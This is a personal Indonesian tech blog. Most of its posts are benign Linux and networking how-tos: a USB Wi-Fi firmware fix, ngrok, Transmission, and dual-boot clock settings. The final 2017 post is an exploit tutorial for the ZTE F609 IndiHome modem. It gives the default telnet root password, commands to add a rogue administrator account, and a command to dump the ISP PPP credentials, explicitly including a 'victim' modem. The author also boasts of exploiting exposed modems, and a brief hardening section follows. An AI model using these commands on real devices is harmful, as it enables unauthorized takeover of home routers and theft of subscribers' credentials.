Wednesday, 12 June 2024

Mengatasi USB Wifi Adapter TL-WN722n yang tidak terdeteksi pada Armbian

 Halo semuanya,

Pada kesempatan kali ini aku akan menjelaskan bagaimana mengatasi adapter wifi TPLINK yang tidak terdeteksi oleh Armbian.

Sebelum ke aku menjelaskan kendala sampai solusinya, aku akan sedikit menjabarkan spesifikasi Armbian-ku

  • OS: Debian GNU/Linux 11 (bullseye)
  • kernel : 6.1.11-meson64
  • arch: arm64

Kendala

Meskipun perangkat aku sudah memiliki wifi adapter default, aku ingin menambahkan usb wifi adapter yakni TP-Link TL-WN722n, yang rencananya akan digunakan sebagai access point. Namun, setelah usb wifi aku pasang ternyata tidak ada perangkat baru pada `ifconfig`.

Solusi

Aku coba cek apakah perangkat tersebut benar tidak terdeteksi menggunakan perintah `lshw -class network`.


dan ternyata benar, meskipun usb wifi adapter sudah terpasang dengan ID 0cf3:9271 namun tidak terdeteksi adanya tambahan perangkat networking baru

aku coba cek log saat aku memasang usb wifi adapter dengan perintah `journalctl -fa`, aku pasang perangkat tersebut, dan menemukan error `Direct firmware load for ath9k_htc/htc_9271-1.4.0.fw failed with error -2`

Loh, kok firmwarenya tidak ada? lalu aku coba googling terkait masalah ini, dan menemukan referensi ini[1], aku coba install driver firmware-ath9k-htc sesuai arahan referensi tersebut
apt install firmware-ath9k-htc

dan aku coba untuk cek kembali log ketika perangkatnya aku pasang ulang 


dan ternyata masih tetap error. 

kali ini aku coba googling lagi dengan spesifik ke versi firmwarenya dan menemukan referensi lain[2], dan sesuai referensi tersebut aku coba mengunduh langsung firmware yang dibutuhkan yakni `htc_9271-1.4.0.fw` langsung pada direktori firmware yaitu di `/lib/firmware/ath9k_htc`


lalu aku cek kembali log ketika memasang ulang perangkat usb wifi adapter


and voila, errornya sudah hilang dan sepertinya perangkat usb wifi adapter ini sudah terdeteksi. langsung saja, aku cek pada `lshw`


yup, berhasil terdeteksi dengan adanya tambahan perangkat networking baru yakni network:3. 

Begitulah kiranya cara mengatasi USB Wifi Adapter TL-WN722n yang tidak terdeteksi pada Armbian dan mungkin saja dapat diaplikasikan pada sistem operasi linux lainnya

Referensi



Sunday, 20 March 2022

Nge-Rok Part 2 : Otomatisasi Mulai Ulang Ngrok Setelah Prosesnya Terinterupsi

    

    Hai sobat, seperti janji saya pada waktu yang lalu, kali ini saya akan melanjutkan part 2 dari artikel saya sebelumnya yakni Nge-Rok Part 1 : Port Forward Server Lokal Ke Internet Menggunakan Layanan Ngrok. Nah, pada artikel ini kita akan membahas mengenai bagaimana cara agar layanan Ngrok dapat memulai ulang secara otomatis yang diakibatkan entah karena server down akibat listrik yang padam, server sengaja di-reboot, ataupun proses Ngrok terinterupsi

    Ide artikel ini dimulai ketika saya dan teman kantor mencoba menggunakan ngrok lalu tiba-tiba terlintas pikiran "bagaimana ya kalau tiba-tiba server kita yang ada di rumah down, otomatis proses ngrok yang sedang berjalan langsung mati. Dan tentunya kita tidak akan mungkin bisa segera menyalakan ulang proses tersebut, karena akses kita melalui ngrok mati serta lokasi antara rumah dan kantor kita sama-sama jauh". Dari situlah kami berdiskusi menemukan cara agar ketika proses ngrok terinterupsi maka proses tersebut akan dimulai ulang secara otomatis. Oke kita langsung saja ke langkah-langkahnya,

Sunday, 8 August 2021

Nge-Rok Part 1 : Mudahnya Port Forward Server Lokal ke Internet Menggunakan Layanan Ngrok

 

    Halo sobat, artikel kali ini saya akan membahas mengenai langkah-langkah port forward server pribadi saya menggunakan layanan dari Ngrok

    Asal punya cerita, saya menggunakan cara ini karena sekarang saya sudah jarang sekali mendapatkan IP Publik dari Internet Service Provider (ISP) plat merah yang saya sewa. Kalau dulu, setiap kita langganan layanan internet dari ISP tersebut, kita akan mendapatkan IP Publik (meskipun dinamis/berubah-ubah) yang dapat kita gunakan untuk mem-forward atau mengekspos komputer atau server yang ada di jaringan lokal kita ke internet dengan hanya melakukan pengaturan port forwading pada modem yang diberikan oleh ISP tersebut. Namun sepertinya sekarang, untuk mendapatkan IP Publik Dinamis tersebut sulit dilakukan kecuali saya berlangganan paket internet yang cukup menguras dompet (cmiiw). Dan bertemulah saya dengan layanan Ngrok yang menurut saya sangat powerful dan solutif bagi saya.
    
    Sebelum menuju ke langkah-langkah instalasi, menjalankan layanan ngrok, hingga cara mengetahui endpoint port forward Ngrok, mari kita bahas sedikit mengenai port forwarding dan layanan Ngrok.

Thursday, 5 August 2021

Instalasi Transmission BitTorrent Cilent pada Server Debian 10 (Buster) dan Membuatnya Berjalan Sebagai Root

 



    Halo guys, mohon maaf karena sudah lama saya tidak mengisi blog ini karena terlalu sibuk dengan dunia nyata, hehe. Pada kesempatan ini saya akan membahas mengenai Instalasi Transmission (transmission-daemon, berbasis web) pada Server Debian [Armbian] milik saya.  

    Sebelum ke langkah-langkah instalasinya, alangkah baiknya kita mengetahui sedikit mengenai apa itu Transmission. Jadi, Transmission adalah aplikasi klien untuk BitTorrent seperti µTorrent (uTorrent) yang berjalan pada sistem operasi berbasis Unix seperti Distro Linux dan Mac, serta pada sistem operasi Windows. Transmission memiliki antarmuka yang bermacam-macam yakni antarmuka web, command line interface ( cli ), serta antarmuka grafis desktop. 

    Pada artikel kali ini kita akan memfokuskan pada instalasi Transmission dengan antarmuka web. Menurut saya antarmuka ini lebih bagus sebab kita hanya perlu instal Transmission pada server, mini server pada kasus saya, lalu kita bisa mengunduh torrent darimanapun selama saya bisa mengakses server saya yang tidak pernah dimatikan tersebut. Cari file torrent, upload ke antarmuka transmission, unduh, tinggal tidur, ngegame, ataupun kencan, tiba-tiba udah selesai unduhannya. nyaman kan? hehe.

    Oke kita langsung aja ke langkah-langkah instalasinya.

Monday, 10 September 2018

Memperbaiki Pengaturan Jam yang Berubah pada Dual Boot Ubuntu dan Windows


Sebenarnya ini merupakan masalah lama sih, semenjak saya install ubuntu 16.04 lalu tapi ini masih tetap terjadi ketika saya install ulang (bukan dist-upgrade) ke 18.04. awalnya sih enjoy aja ketika pakai ubuntu ga ada permasalahan apapun dengan pengaturan jam. tapi, ketika saya pindah ke OS windows suatu keanehan pun terjadi, perasaan ini udah malam (waktu itu) tapi jam di laptop saya kok nunjukin jam 01.00 pm (siang hari), ini saya yang ngelindur atau laptop saya yang mabuk. setelah talking-talking dengan mister google akhirnya ketemu juga permasalahannya yaitu ada perbedaan pengaturan jam antara ubuntu dan windows.

Kebanyakan sistem operasi (Linux/Unix/Mac) mengatur jam secara default berdasarkan UTC (Universal Time Coordinated), berbeda lagi dengan sistem operasi Windows yang mengatur jam berdasarkan waktu lokal (local time). Hal tersebut akan menjadi masalah ketika pengguna dual boot Ubuntu dan Windows tidak menerapkan pengaturan jam yang sama.

Lalu bagaimana cara memperbaikinya?

Sunday, 23 April 2017

Exploit, Create New Admin User, and Find Telkom Password through Telnet on IndiHome Modem (ZTE F609)

Hello everyone, in this post i wanna show you all how to exploit, create new admin user, and find telkom user's password on IndiHome Modem (ZTE F609)

This modem (ZTE F609) was usually used by telkom for their indihome product which based on Fiber Optic Communication. Indihome allows home user can use internet faster than older product

As we know, ZTE F609 has a well-known vulnerability. that was default telnet user and password which can easily be exploited.

With that vulnerability, you can do everything inside the modem such view, change, and editing modem's user, peeking into modem's configuration, and many more.

Ok then, let's go to the main action


A. Exploit and Login into ZTE F609 through Telnet

First, if you were using windows and want to be easy to use telnet, you need to download Putty here, if you use linux distros, i wont teach you how to use telnet, you has more knowledge than me.  xP

Then, open your putty, fill host address with your (or your victim) modem's IP, don't forget to change connection type to Telnet, and click "Open"

After that, you will see a window which ask you to fill user and password login. Fill it with this
Login : root 
Password : Zte521 

And voila, you already logged into ZTE F609, then let's do the next action.


B. View and Create new modem's Administrator User

Before you create new administrator user, you should see all modem's users, you can do it with type this command
sendcmd 1 DB p DevAuthInfo

 now you can see all modem's users, and learn their data pattern.

If you still want to create new administrator user, you can type this commands
sendcmd 1 DB addr DevAuthInfo
sendcmd 1 DB set DevAuthInfo 6 ViewName "IGD.AU7"
sendcmd 1 DB set DevAuthInfo 6 AppID "1"
sendcmd 1 DB set DevAuthInfo 6 User "dely"
sendcmd 1 DB set DevAuthInfo 6 Pass "iamnozarc"
sendcmd 1 DB set DevAuthInfo 6 Level "1"
sendcmd 1 DB set DevAuthInfo 6 Enable "1"
And voila, you already created new administrator user with "dely" as the username and "iamnozarc" as the password.
*ps: you can change user and password as your own desire*

Then, try to login into your F609 web management with your new administrator user



C. View Telkom User and Password

If you are Indihome user, you need to know about your telkom user and password.

With knowing it you can anticipate any accident that damage your modem's PPP configuration (which contain your indihome user and password) such as reset by accident, bricked, struck by lightning, and many more.

Mostly, telkom technician will give you your telkom user and password when they are installing your internet.

But, what should do you do when you forgot or lost the password? you wanna ask them?, you probably won't do that.
Without ask them again, you can find it easily with peeking into ZTE F609 PPP configuration with this command
sendcmd 1 DB p WANCPPP

Now you can see your  telkom user and password on second row, and don't forget to save it.


D. Anticipate your IndiHome Modem (ZTE F609) being Touched

Sometime, Indihome users need to share their internet through wlan or ethernet because it can support their business such as cafe, internet cafe, public health center, etc.

But, modems that exposed to public network has a high risk to become exploited by anyone (actually i usually do this, haha).

So, if you wont them exploiting your modem, you should patch the hole on your modem.

As you can see in our first action, the hole of ZTE F609 is default telnet password. You can see the telnet configuration of ZTE F609 by typing this command
sendcmd 1 DB p TelnetCfg

Did you see default telnet password of ZTE F609?, then you should change it by type this command
sendcmd 1 DB set TelnetCfg 0 TS_UPwd "****"
You can replace that four blue asterisks with your own desired password.

Then reboot your modem, and try to login into your modem's telnet using old and new password.

***Update***I already tried to change telnet password and reboot, but the default password won't change, it back to the default. For now, i just can suggest you to try not to expose your modem easily to the public
***Update***
As commented by LuQman Hakim, if you want to change telnet password, you need one more command that is
sendcmd 1 DB save
My bad, I completely forgot about that command. Please forgive me xD


At last, your criticism and suggestion are very welcome.

And please remember, i wont be responsible for anything you do an the impact that you gain after read this article, do it with your own risk, because i'm not your father, so be careful